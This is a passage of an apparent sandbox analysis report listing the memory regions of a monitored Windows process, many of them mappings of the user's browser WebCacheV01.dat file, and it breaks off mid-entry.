mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1710 start_va = 0x2360000 end_va = 0x236ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1711 start_va = 0x24c0000 end_va = 0x24cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1712 start_va = 0x24e0000 end_va = 0x24effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1713 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 1714 start_va = 0x2500000 end_va = 0x250ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1715 start_va = 0x2510000 end_va = 0x251ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1716 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 1717 start_va = 0x2520000 end_va = 0x2527fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 1718 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 1719 start_va = 0x24f0000 end_va = 0x24f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 1720 start_va = 0x2520000 end_va = 0x2527fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 1721 start_va = 0x2530000 end_va = 0x2537fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 1722 start_va = 0x2540000 end_va = 0x2547fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 1723 start_va = 0x2550000 end_va = 0x2557fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 1724 start_va = 0x2560000 end_va = 0x2567fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 1725 start_va = 0x2570000 end_va = 0x2577fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 1869 start_va = 0x2580000 end_va = 0x2587fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 1870 start_va = 0x2590000 end_va = 0x2597fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 1871 start_va = 0x25a0000 end_va = 0x25a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 1872 start_va = 0x25a0000 end_va = 0x25a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 1873 start_va = 0x25a0000 end_va = 0x25a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 1874 start_va = 0x25a0000 end_va = 0x25a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 1875 start_va = 0x25a0000 end_va = 0x25a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 1876 start_va = 0x25b0000 end_va = 0x25b7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 1877 start_va = 0x39a0000 end_va = 0x39a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039a0000" filename = "" Region: id = 1878 start_va = 0x39b0000 end_va = 0x39b7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039b0000" filename = "" Region: id = 1879 start_va = 0x39c0000 end_va = 0x39c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039c0000" filename = "" Region: id = 1880 start_va = 0x3a20000 end_va = 0x3a27fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a20000" filename = "" Region: id = 1881 start_va = 0x3a70000 end_va = 0x3a77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a70000" filename = "" Region: id = 1882 start_va = 0x3a90000 end_va = 0x3a97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a90000" filename = "" Region: id = 1883 start_va = 0x3aa0000 end_va = 0x3aa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003aa0000" filename = "" Region: id = 1884 start_va = 0x3ab0000 end_va = 0x3ab7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ab0000" filename = "" Region: id = 1885 start_va = 0x3ac0000 end_va = 0x3ac7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ac0000" filename = "" Region: id = 1886 start_va = 0x3ad0000 end_va = 0x3ad7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ad0000" filename = "" Region: id = 1887 start_va = 0x3ae0000 end_va = 0x3ae7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ae0000" filename = "" Region: id = 1888 start_va = 0x3af0000 end_va = 0x3af7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003af0000" filename = "" Region: id = 1889 start_va = 0x3b00000 end_va = 0x3b07fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 1890 start_va = 0x3c90000 end_va = 0x3c90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c90000" filename = "" Region: id = 1891 start_va = 0x3c90000 end_va = 0x3c90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c90000" filename = "" Region: id = 1892 start_va = 0x3c90000 end_va = 0x3c97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c90000" filename = "" Region: id = 1893 start_va = 0x3c90000 end_va = 0x3c97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c90000" filename = "" Region: id = 1894 start_va = 0x3eb0000 end_va = 0x3eb7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003eb0000" filename = "" Region: id = 1895 start_va = 0x3ec0000 end_va = 0x3ec7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ec0000" filename = "" Region: id = 1896 start_va = 0x3ed0000 end_va = 0x3ed7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ed0000" filename = "" Region: id = 1897 start_va = 0x3ee0000 end_va = 0x3ee7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ee0000" filename = "" Region: id = 1898 start_va = 0x3ef0000 end_va = 0x3ef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ef0000" filename = "" Region: id = 1899 start_va = 0x3f00000 end_va = 0x3f07fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 1900 start_va = 0x3f10000 end_va = 0x3f17fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f10000" filename = "" Region: id = 1901 start_va = 0x3f20000 end_va = 0x3f27fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f20000" filename = "" Region: id = 1902 start_va = 0x3f30000 end_va = 0x3f37fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f30000" filename = "" Region: id = 1903 start_va = 0x3f40000 end_va = 0x3f47fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f40000" filename = "" Region: id = 1904 start_va = 0x3f50000 end_va = 0x3f57fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f50000" filename = "" Region: id = 1905 start_va = 0x3f60000 end_va = 0x3f67fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f60000" filename = "" Region: id = 1906 start_va = 0x3f70000 end_va = 0x3f77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f70000" filename = "" Region: id = 1907 start_va = 0x3f80000 end_va = 0x3f87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f80000" filename = "" Region: id = 1908 start_va = 0x3f90000 end_va = 0x3f97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f90000" filename = "" Region: id = 1909 start_va = 0x3fa0000 end_va = 0x3fa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fa0000" filename = "" Region: id = 1910 start_va = 0x3fa0000 end_va = 0x3fa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fa0000" filename = "" Region: id = 1911 start_va = 0x3fa0000 end_va = 0x3fa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fa0000" filename = "" Region: id = 1912 start_va = 0x3fa0000 end_va = 0x3fa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fa0000" filename = "" Region: id = 1913 start_va = 0x40b0000 end_va = 0x40b7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040b0000" filename = "" Region: id = 1914 start_va = 0x40c0000 end_va = 0x40c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040c0000" filename = "" Region: id = 1915 start_va = 0x40d0000 end_va = 0x40d7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040d0000" filename = "" Region: id = 1916 start_va = 0x40e0000 end_va = 0x40e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040e0000" filename = "" Region: id = 1917 start_va = 0x40f0000 end_va = 0x40f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040f0000" filename = "" Region: id = 1918 start_va = 0x4100000 end_va = 0x4107fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 1919 start_va = 0x4110000 end_va = 0x4117fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004110000" filename = "" Region: id = 1920 start_va = 0x4120000 end_va = 0x4127fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004120000" filename = "" Region: id = 1921 start_va = 0x4130000 end_va = 0x4133fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004130000" filename = "" Region: id = 1922 start_va = 0x4140000 end_va = 0x4147fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004140000" filename = "" Region: id = 1923 start_va = 0x4150000 end_va = 0x4157fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004150000" filename = "" Region: id = 1924 start_va = 0x4160000 end_va = 0x4167fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004160000" filename = "" Region: id = 1925 start_va = 0x4170000 end_va = 0x4177fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004170000" filename = "" Region: id = 1926 start_va = 0x4180000 end_va = 0x4187fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004180000" filename = "" Region: id = 1927 start_va = 0x4190000 end_va = 0x4197fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004190000" filename = "" Region: id = 1928 start_va = 0x41a0000 end_va = 0x41a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041a0000" filename = "" Region: id = 1929 start_va = 0x41b0000 end_va = 0x41b7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041b0000" filename = "" Region: id = 1930 start_va = 0x41c0000 end_va = 0x41c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041c0000" filename = "" Region: id = 1931 start_va = 0x41d0000 end_va = 0x41d7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041d0000" filename = "" Region: id = 1932 start_va = 0x41e0000 end_va = 0x41e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041e0000" filename = "" Region: id = 1933 start_va = 0x41f0000 end_va = 0x41f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041f0000" filename = "" Region: id = 1934 start_va = 0x4200000 end_va = 0x4207fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 1935 start_va = 0x4210000 end_va = 0x4217fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004210000" filename = "" Region: id = 1936 start_va = 0x4220000 end_va = 0x4227fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004220000" filename = "" Region: id = 1937 start_va = 0x4230000 end_va = 0x4237fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004230000" filename = "" Region: id = 1938 start_va = 0x4240000 end_va = 0x4247fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004240000" filename = "" Region: id = 1939 start_va = 0x4250000 end_va = 0x4257fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004250000" filename = "" Region: id = 1940 start_va = 0x4260000 end_va = 0x4267fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 1941 start_va = 0x4270000 end_va = 0x4270fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004270000" filename = "" Region: id = 1942 start_va = 0x4270000 end_va = 0x4270fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004270000" filename = "" Region: id = 1943 start_va = 0x4270000 end_va = 0x4277fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004270000" filename = "" Region: id = 1944 start_va = 0x4270000 end_va = 0x4277fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004270000" filename = "" Region: id = 1945 start_va = 0x4280000 end_va = 0x4287fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004280000" filename = "" Region: id = 1946 start_va = 0x4290000 end_va = 0x4297fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004290000" filename = "" Region: id = 1947 start_va = 0x42a0000 end_va = 0x42a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042a0000" filename = "" Region: id = 1948 start_va = 0x42b0000 end_va = 0x42b7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 1949 start_va = 0x42c0000 end_va = 0x42c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042c0000" filename = "" Region: id = 1950 start_va = 0x42d0000 end_va = 0x42d7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042d0000" filename = "" Region: id = 1953 start_va = 0x24f0000 end_va = 0x24fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1954 start_va = 0x2520000 end_va = 0x252ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1955 start_va = 0x2530000 end_va = 0x253ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1956 start_va = 0x2540000 end_va = 0x254ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1957 start_va = 0x2550000 end_va = 0x255ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1958 start_va = 0x2560000 end_va = 0x256ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1959 start_va = 0x2570000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1960 start_va = 0x2580000 end_va = 0x258ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1961 start_va = 0x2590000 end_va = 0x259ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1962 start_va = 0x25a0000 end_va = 0x25affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1963 start_va = 0x25b0000 end_va = 0x25bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1964 start_va = 0x39a0000 end_va = 0x39affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1965 start_va = 0x39b0000 end_va = 0x39bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1966 start_va = 0x39c0000 end_va = 0x39cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1967 start_va = 0x3a20000 end_va = 0x3a2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1968 start_va = 0x3a70000 end_va = 0x3a7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1969 start_va = 0x3a90000 end_va = 0x3a9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1970 start_va = 0x3aa0000 end_va = 0x3aaffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1971 start_va = 0x3ab0000 end_va = 0x3abffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1972 start_va = 0x3ac0000 end_va = 0x3acffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1973 start_va = 0x3ad0000 end_va = 0x3adffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1974 start_va = 0x3ae0000 end_va = 0x3aeffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1975 start_va = 0x3af0000 end_va = 0x3afffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1976 start_va = 0x3b00000 end_va = 0x3b0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1977 start_va = 0x3c90000 end_va = 0x3c9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1978 start_va = 0x3eb0000 end_va = 0x3ebffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1979 start_va = 0x3ec0000 end_va = 0x3ecffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1980 start_va = 0x3ed0000 end_va = 0x3edffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1981 start_va = 0x3ee0000 end_va = 0x3eeffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1982 start_va = 0x3ef0000 end_va = 0x3efffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1983 start_va = 0x3f00000 end_va = 0x3f0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1984 start_va = 0x3f10000 end_va = 0x3f1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1985 start_va = 0x3f20000 end_va = 0x3f2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1986 start_va = 0x3f30000 end_va = 0x3f3ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1987 start_va = 0x3f40000 end_va = 0x3f4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1988 start_va = 0x3f50000 end_va = 0x3f5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1989 start_va = 0x3f60000 end_va = 0x3f6ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = 